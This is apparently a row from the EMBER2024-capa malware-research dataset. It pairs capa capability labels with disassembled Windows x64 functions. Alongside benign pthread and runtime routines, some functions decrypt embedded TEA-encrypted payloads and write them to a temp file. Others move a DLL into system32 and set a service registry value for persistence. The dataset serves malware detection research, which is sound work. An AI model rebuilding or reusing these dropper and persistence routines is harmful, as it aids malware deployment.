joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1404585fb
Capabilities:
Allocate thread local storage

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [sym.imp.KERNEL32.dll_TlsAlloc]
call rax
mov dword [0x140469ee0], eax
mov eax, dword [0x140469ee0]
cmp eax, 0xffffffff
jne 0x140458622
call sym.abort
nop
add rsp, 0x20
pop rbp
ret

Function at 0x1404587d5
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
mov qword [rbp - 8], 0xffffffffffffffff
lea rax, [sym.pthread_tls_init]
mov rdx, rax
lea rax, [0x140526050]
mov rcx, rax
call sym._pthread_once_raw
mov eax, dword [0x140469ee0]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
je 0x140458828
mov rax, qword [rbp - 0x10]
jmp 0x140458988
call sym.pop_pthread_mem
mov qword [rbp - 0x10], rax
mov rax, qword [sym.__dyn_tls_pthread]
test rax, rax
je 0x140458844
cmp qword [rbp - 0x10], 0
jne 0x14045884e
mov eax, 0
jmp 0x140458988
mov rax, qword [rbp - 0x10]
mov dword [rax + 0x44], 1
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call rax
mov rdx, qword [rbp - 0x10]
mov dword [rdx + 0x70], eax
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov rdx, qword [rbp - 0x10]
mov qword [rdx + 0x30], rax
mov rax, qword [rbp - 0x10]
mov qword [rax + 0x38], 0xffffffffffffffff
mov rax, qword [rbp - 0x10]
lea rcx, [rax + 0x68]
mov rax, qword [rbp - 8]
mov rdx, rax
call sym.replace_spin_keys
mov rax, qword [rbp - 0x10]
mov dword [rax + 0xb8], 0
mov rax, qword [rbp - 0x10]
mov qword [rax + 0x28], 0
mov rax, qword [rbp - 0x10]
lea rdi, [rax + 0x28]
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rsi, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, rdi
mov r8, rsi
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DuplicateHandle]
call rax
test eax, eax
jne 0x140458929
call sym.abort
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetThreadPriority]
call rax
mov rdx, qword [rbp - 0x10]
mov dword [rdx + 0xc0], eax
mov rax, qword [rbp - 0x10]
mov dword [rax + 0xbc], 0
mov rax, qword [rbp - 0x10]
movzx edx, byte [rax + 0x40]
and edx, 0xffffffcf
or edx, 0x10
mov byte [rax + 0x40], dl
mov eax, dword [0x140469ee0]
mov rdx, qword [rbp - 0x10]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsSetValue]
call rax
test eax, eax
jne 0x140458984
call sym.abort
mov rax, qword [rbp - 0x10]
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x140458a82
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp - 0x10], 0
mov rax, qword [rbp + 0x10]
mov dword [rbp - 4], eax
call sym.__pthread_self_lite
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp + 0x10]
mov qword [rax + 8], rdx
mov rax, qword [rbp - 0x18]
mov rax, qword [rax + 0x1d8]
mov rcx, rax
call sym._pthread_cleanup_dest
mov rax, qword [rbp - 0x18]
movzx eax, byte [rax + 0x40]
and eax, 0x30
test al, al
jne 0x140458aef
mov rax, qword [rbp - 0x18]
add rax, 0xd0
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll_longjmp]
call rax
mov eax, dword [0x140469ee0]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
je 0x140458c33
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x28]
test rax, rax
jne 0x140458b8c
mov rax, qword [rbp - 0x10]
mov dword [rax], 0xdeadbeef
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x30]
test rax, rax
je 0x140458b47
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x10]
mov qword [rax + 0x30], 0
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 8]
mov dword [rbp - 4], eax
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.push_pthread_mem
mov qword [rbp - 0x10], 0
mov eax, dword [0x140469ee0]
mov rdx, qword [rbp - 0x10]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsSetValue]
call rax
jmp 0x140458c33
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 8]
mov dword [rbp - 4], eax
mov rax, qword [rbp - 0x10]
mov dword [rax + 0xbc], 1
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x30]
test rax, rax
je 0x140458bc6
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x10]
mov qword [rax + 0x30], 0
mov rax, qword [rbp - 0x10]
mov eax, dword [rax + 0x44]
and eax, 4
test eax, eax
je 0x140458c33
mov rax, qword [rbp - 0x10]
mov dword [rax], 0xdeadbeef
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x10]
mov qword [rax + 0x28], 0
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.push_pthread_mem
mov qword [rbp - 0x10], 0
mov eax, dword [0x140469ee0]
mov rdx, qword [rbp - 0x10]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsSetValue]
call rax
mov eax, dword [rbp - 4]
mov ecx, eax
mov rax, qword [sym.imp.msvcrt.dll__endthreadex]
call rax
nop
Function at 0x140459875
Capabilities:
Set thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov dword [rbp - 0x14], 0
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
call sym._fpreset
lea rax, [0x140469ef0]
mov rcx, rax
call sym.pthread_mutex_lock
mov rax, qword [rbp - 8]
add rax, 0x38
mov rcx, rax
call sym.pthread_mutex_lock
lea rax, [sym.pthread_tls_init]
mov rdx, rax
lea rax, [0x140526050]
mov rcx, rax
call sym._pthread_once_raw
mov eax, dword [0x140469ee0]
mov rdx, qword [rbp - 8]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsSetValue]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call rax
mov rdx, qword [rbp - 8]
mov dword [rdx + 0x70], eax
mov rax, qword [rbp - 8]
add rax, 0x38
mov rcx, rax
call sym.pthread_mutex_unlock
mov rdx, rbp
mov rax, qword [rbp - 8]
add rax, 0xd0
mov rcx, rax
call sym._setjmp
test eax, eax
jne 0x14045998a
mov qword [rbp - 0x10], pe_nt_image_headers64
lea rax, [0x140469ef0]
mov rcx, rax
call sym.pthread_mutex_unlock
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
test rax, rax
je 0x140459958
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 0x10]
mov rax, qword [rbp - 8]
mov rax, qword [rax + 8]
mov rcx, rax
call rdx
mov qword [rbp - 0x10], rax
nop
nop
lea rax, [0x140469ef0]
mov rcx, rax
call sym.pthread_mutex_lock
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov qword [rax + 8], rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x1d8]
mov rcx, rax
call sym._pthread_cleanup_dest
jmp 0x140459999
lea rax, [0x140469ef0]
mov rcx, rax
call sym.pthread_mutex_lock
mov rax, qword [rbp - 8]
add rax, 0x38
mov rcx, rax
call sym.pthread_mutex_lock
mov rax, qword [rbp - 8]
mov rax, qword [rax + 8]
mov dword [rbp - 0x14], eax
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x30]
test rax, rax
je 0x1404599d5
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 8]
mov qword [rax + 0x30], 0
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x28]
test rax, rax
jne 0x140459a43
mov rax, qword [rbp - 8]
mov dword [rax], 0xdeadbeef
mov rax, qword [rbp - 8]
add rax, 0x38
mov rcx, rax
call sym.pthread_mutex_unlock
mov rax, qword [rbp - 8]
add rax, 0x38
mov rcx, rax
call sym.pthread_mutex_destroy
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.push_pthread_mem
mov qword [rbp - 8], 0
mov eax, dword [0x140469ee0]
mov rdx, qword [rbp - 8]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsSetValue]
call rax
jmp 0x140459a8d
mov rax, qword [rbp - 8]
add rax, 0x38
mov rcx, rax
call sym.pthread_mutex_unlock
mov rax, qword [rbp - 8]
add rax, 0x38
mov rcx, rax
call sym.pthread_mutex_destroy
mov rax, qword [rbp - 8]
mov qword [rax + 0x38], 0xffffffffffffffff
mov rax, qword [rbp - 8]
mov dword [rax + 0xbc], 1
jmp 0x140459a8d
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rax, [0x140469ef0]
mov rcx, rax
call sym.pthread_mutex_unlock
test eax, eax
je 0x140459a7f
mov eax, dword [rbp - 0x14]
mov ecx, eax
mov rax, qword [sym.imp.msvcrt.dll__endthreadex]
call rax
nop
Function at 0x180001000
Capabilities:
Move file
Query environment variable

Disassembly:
sub rsp, 0x78
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x68], rax
dec edx
jne 0x1800011ba
call fcn.1800011e0
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtQuerySystemInformation
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1800452c0], rax
test rax, rax
je 0x180001076
xor r9d, r9d
lea rdx, [rsp + 0x30]
lea r8d, [r9 + 0x20]
lea ecx, [r9 + 3]
call rax
mov r9, qword [rsp + 0x30]
lea r8, str._I64X
lea rcx, [rsp + 0x50]
mov edx, 0x14
call fcn.180001a20
lea rax, str.1DB317AD2094BC0
lea r8, [rsp + 0x50]
sub r8, rax
nop word [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1800010a3
inc rax
test ecx, ecx
jne 0x180001090
test edx, edx
je 0x1800011b0
cmp dword [0x1800452bc], 0
jne 0x1800011b0
lea rcx, [0x180010a40]
mov qword [rsp + 0x80], rbx
mov dword [0x1800452bc], 1
mov qword [rsp + 0x70], rdi
call fcn.1800011e0
call fcn.180001330
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.180001200
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1800014f0
mov ecx, 0x400
call fcn.180001aa8
mov ecx, 0x400
mov rbx, rax
call fcn.180001aa8
lea rcx, [0x180010c50]
mov r8d, 0x400
mov rdx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov r8d, 0x1000
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov rcx, rbx
call fcn.180001a68
mov ecx, 0x400
call fcn.180001aa8
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea r9, str._s_d.iao
mov dword [rsp + 0x28], eax
or r8, 0xffffffffffffffff
mov edx, 0x400
mov rcx, rbx
mov qword [rsp + 0x20], rdi
call fcn.180001a44
lea rcx, str.c:windows_system32mstracer.dll
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_MoveFileA]
mov rcx, rdi
call fcn.180001a68
mov rcx, rbx
call fcn.180001a68
call fcn.1800011e0
mov rdi, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x80]
call fcn.1800011e0
call fcn.1800011e0
mov eax, 1
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.180001a00
add rsp, 0x78
ret
Function at 0x180001200
Capabilities:
Decrypt data using tea
Encode data using xor
Write file on windows

Disassembly:
push rbx
sub rsp, 0x40
movss xmm0, dword [0x180010c5c]
xor ebx, ebx
call fcn.18000cc40
movaps xmm5, xmm0
comiss xmm5, dword [0x180010c54]
jbe 0x1800012ac
lea rdx, [0x18003a5f0]
nop dword [rax]
mov r8d, dword [rdx]
mov r9d, dword [rdx + 4]
mov r10d, 0xc6ef3720
mov r11d, 0x20
mov ecx, r8d
mov eax, r8d
shl ecx, 4
shr eax, 5
add ecx, 0x4553926a
add eax, 0x3a3ba95f
xor ecx, eax
lea eax, [r10 + r8]
xor ecx, eax
sub r9d, ecx
mov ecx, r9d
mov eax, r9d
shr ecx, 5
shl eax, 4
add ecx, 0x16ab5973
sub eax, 0x61bcd54a
xor ecx, eax
lea eax, [r10 + r9]
add r10d, 0x61c88647
xor ecx, eax
sub r8d, ecx
dec r11
jne 0x180001243
inc ebx
mov dword [rdx], r8d
mov dword [rdx + 4], r9d
add rdx, 8
movd xmm0, ebx
cvtdq2ps xmm0, xmm0
comiss xmm5, xmm0
ja 0x180001230
mov qword [rsp + 0x30], 0
lea rcx, str.C:UsersFrankAppDataLocalTempMSServerTypeLib66546.dat
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x80000080
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180001324
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea r9, [rsp + 0x50]
lea rdx, [0x18003a5f0]
mov r8d, 0x9a00
mov rcx, rbx
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x40
pop rbx
ret
Function at 0x180001330
Capabilities:
Decrypt data using tea
Encode data using xor
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x460
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x450], rax
movss xmm0, dword [0x180010c58]
xor ebx, ebx
call fcn.18000cc40
movaps xmm5, xmm0
comiss xmm5, dword [0x180010c54]
jbe 0x180001409
lea rdx, [0x1800145f0]
nop word [rax + rax]
mov edi, dword [rdx]
mov r8d, dword [rdx + 4]
mov r9d, 0xc6ef3720
mov r10d, 0x20
nop word [rax + rax]
mov ecx, edi
mov eax, edi
shl ecx, 4
shr eax, 5
add ecx, 0x4553926a
add eax, 0x3a3ba95f
xor ecx, eax
lea eax, [r9 + rdi]
xor ecx, eax
sub r8d, ecx
mov ecx, r8d
mov eax, r8d
shr ecx, 5
shl eax, 4
add ecx, 0x16ab5973
sub eax, 0x61bcd54a
xor ecx, eax
lea eax, [r9 + r8]
add r9d, 0x61c88647
xor ecx, eax
sub edi, ecx
dec r10
jne 0x1800013a0
inc ebx
mov dword [rdx], edi
mov dword [rdx + 4], r8d
add rdx, 8
movd xmm0, ebx
cvtdq2ps xmm0, xmm0
comiss xmm5, xmm0
ja 0x180001380
lea rcx, [rsp + 0x51]
xor edx, edx
mov r8d, 0x3ff
mov byte [rsp + 0x50], 0
call fcn.180002570
xor edx, edx
lea rcx, str.C:UsersFrankAppDataLocalTempMSServerTypeLib66546.dat
nop dword [rax]
movzx eax, byte [rdx + rcx]
inc rdx
mov byte [rsp + rdx + 0x4f], al
test al, al
jne 0x180001430
xor eax, eax
or rcx, 0xffffffffffffffff
mov qword [rsp + 0x30], 0
lea rdi, [rsp + 0x50]
xor r9d, r9d
xor r8d, r8d
repne scasb al, byte [rdi]
movzx eax, word [0x180010b74]
lea rcx, [rsp + 0x50]
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x80000080
mov word [rdi - 1], ax
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1800014cd
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea r9, [rsp + 0x40]
lea rdx, [0x1800145f0]
mov r8d, 0x26000
mov rcx, rdi
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.180001a00
mov rbx, qword [rsp + 0x470]
add rsp, 0x460
pop rdi
ret
Function at 0x180001f93
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [section..data]
jne 0x180001a1a
rol rcx, 0x10
test cx, 0xffff
jne 0x180001a16
repz ret
ror rcx, 0x10
jmp 0x180001eec
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x1800442d0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x1800443c8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x180001f71
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x1800442d0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x180001f93
mov rax, qword [rsp + 0x88]
mov qword [0x1800443c8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x180044368], rax
mov rax, qword [0x1800443c8]
mov qword [0x180044240], rax
mov rax, qword [rsp + 0x90]
mov qword [0x180044350], rax
mov dword [0x180044230], 0xc0000409
mov dword [0x180044234], 1
mov rax, qword [section..data]
mov qword [rsp + 0x68], rax
mov rax, qword [0x180013008]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x1800442c8], eax
mov ecx, 1
call fcn.1800046c8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x18000e328]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x1800442c8], 0
jne 0x18000201a
mov ecx, 1
call fcn.1800046c8
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x1800072e4
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.180003670
xor ebx, ebx
cmp qword [0x180045200], rbx
mov rdi, rax
jne 0x1800073f7
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x1800074ce
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1800074ce
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x180045200], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x180045208], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x180045210], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x180045220], rax
test rax, rax
je 0x1800073ee
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x180045218], rax
jmp 0x1800073fe
mov rax, qword [0x180045218]
jmp 0x180007405
mov rax, qword [0x180045218]
mov r11, qword [0x180045220]
cmp rax, rdi
je 0x18000746c
cmp r11, rdi
je 0x18000746c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x180045220]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x18000746c
test rax, rax
je 0x18000746c
call rsi
test rax, rax
je 0x180007466
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x180007466
test byte [rsp + 0x40], 1
jne 0x18000746c
bts ebp, 0x15
jmp 0x1800074ac
mov rcx, qword [0x180045208]
cmp rcx, rdi
je 0x1800074ac
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1800074ac
call rax
mov rbx, rax
test rax, rax
je 0x1800074ac
mov rcx, qword [0x180045210]
cmp rcx, rdi
je 0x1800074ac
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1800074ac
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x180045200]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1800074ce
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x1800074d0
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180001a00
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140007bf0
Capabilities:
Print debug messages

Disassembly:
push rbx
sub rsp, 0x20
xor ebx, ebx
xor eax, eax
lock cmpxchg dword [0x14023a06c], ebx
je 0x140007d36
mov eax, ebx
xchg dword [0x14023a06c], eax
mov eax, 1
xchg dword [0x14023a144], eax
call fcn.14000c120
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x14023a310], ebx
je 0x140007c5e
cmp dword [0x14023a314], ebx
mov qword [rsp + 0x38], rdi
mov edi, ebx
jbe 0x140007c59
xor ecx, ecx
mov r8d, edi
lea edx, [rcx + 3]
call fcn.140010eb0
inc edi
cmp edi, dword [0x14023a314]
jb 0x140007c42
mov rdi, qword [rsp + 0x38]
call fcn.140009780
mov ecx, 1
call fcn.14000bca0
cmp dword [0x14023a110], ebx
je 0x140007c88
lea rcx, [0x14023a0e8]
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov dword [0x14023a110], ebx
mov qword [0x14023a0e0], rbx
lea rcx, [0x14023a0c0]
mov edx, 8
nop dword [rax + rax]
lea rcx, [rcx + 4]
mov eax, ebx
xchg dword [rcx - 4], eax
sub rdx, 1
jne 0x140007ca0
mov eax, ebx
lea rcx, [0x1403822f0]
xchg dword [0x14023a088], eax
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lock and dword [0x14023a31c], 0xfffffffe
lock and dword [0x14023a31c], 0xffffffef
mov eax, ebx
lea rcx, [0x1403822f0]
xchg dword [0x14037deac], eax
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, ebx
xchg dword [0x14023a070], eax
test eax, eax
jne 0x140007d02
lea rcx, str.dbgEngineStore:___Has_not_started_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
xchg qword [0x140382328], rbx
mov qword [rsp + 0x30], rbx
mov rax, qword [rsp + 0x30]
test rax, rax
je 0x140007d23
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_HeapDestroy]
lea rcx, [0x14023a040]
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
add rsp, 0x20
pop rbx
ret

Function at 0x140007d40
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
xor ebx, ebx
mov edi, ecx
xor eax, eax
lock cmpxchg dword [0x14023a06c], ebx
test al, 1
jne 0x140007d74
lea rcx, str.RfeStopINetInterface:__Filtering_Engine_has_not_been_started
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
jmp qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp dword [0x14023a110], ebx
je 0x140007e15
cmp qword [0x14023a0e0], rbx
je 0x140007e15
lea rcx, [0x14023a0e8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea rax, [0x14023a0c0]
mov rdx, rdi
xchg dword [rax + rdi*4], ebx
lea rcx, [0x14023a0e8]
test ebx, ebx
jne 0x140007dc3
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [0x14023a0e0]
shl rdx, 6
mov dword [rdx + rax + 0x20], 0xb2d05e0
mov rax, qword [0x14023a0e0]
mov dword [rdx + rax + 0x24], 0xb2d05e0
lock dec dword [0x14023a088]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor r9d, r9d
mov dword [rsp + 0x28], 0xb2d05e0
mov edx, edi
mov dword [rsp + 0x20], 0xb2d05e0
mov ecx, 0x120404
lea r8d, [r9 + 2]
call fcn.14000be00
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x140010060
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push rbx
sub rsp, 0x50
xor ebx, ebx
lea rdx, str.SYSTEMCurrentControlSetServicesKiller_Network_ServiceSLibCFG
cmp ecx, 2
mov qword [rsp + 0x70], rbx
mov eax, 6
mov dword [rsp + 0x60], ebx
cmove ecx, eax
lea rax, [rsp + 0x70]
mov dword [rsp + 0x68], ecx
lea r9d, [rbx + 2]
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x1400100ec
lea rax, [rsp + 0x60]
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rdx, str.SYSTEMCurrentControlSetServicesKiller_Network_ServiceSLibCFG
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14001012d
mov rcx, qword [rsp + 0x70]
lea rax, [rsp + 0x68]
mov dword [rsp + 0x28], 4
lea rdx, str.Redir
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x70]
mov ebx, eax
test rcx, rcx
je 0x14001012b
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
add rsp, 0x50
pop rbx
ret